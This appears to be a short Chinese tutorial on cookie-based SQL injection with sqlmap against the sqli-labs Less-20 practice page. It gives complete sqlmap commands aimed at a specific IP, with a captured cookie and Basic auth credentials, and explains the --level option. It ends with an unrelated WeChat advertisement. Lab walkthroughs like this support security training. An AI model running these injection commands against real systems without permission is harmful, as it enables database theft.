sqlmap使用_如何使用SQLMap进行cookie注入

1 1

登录目标地址，输入用户名和密码，用户名和密码都是admin

点击Submit

开启代理服务 选择  HTTP代理：127.0.0.1，端口：8080

打开 burp

通过抓包，我们知道登录的cookie是uname=admin

2

进行sqlmap的cookie注入攻击

windows 下命令为 

C:\Python27\sqlmap>sqlmap.py -u http://47.111.130.141:9002/sqli-labs/Less-20/ --cookie="uname=admin" --auth-type="Basic" --auth-cred="user2:pentest2" --batch --dbs --level=2

Linux 下命令为

sqlmap -u http://47.111.130.141:9002/sqli-labs/Less-20/ --cookie="uname=admin" --auth-type="Basic" --auth-cred="user2:pentest2" --batch --dbs --level=2

说明:  参数： --level=LEVEL

默认情况下SQLMAP只支持GET/POST参数的注入测试，但是当使用 --level参数且数值>=2的时候会进行cookie注入测试；当>=3时，会进行User-Agent和Referer的注入测试。

结果画面为 

接下来可以爆表爆数据了。

想领取【200份简历模板】请加小唐老师微信 回复暗号：200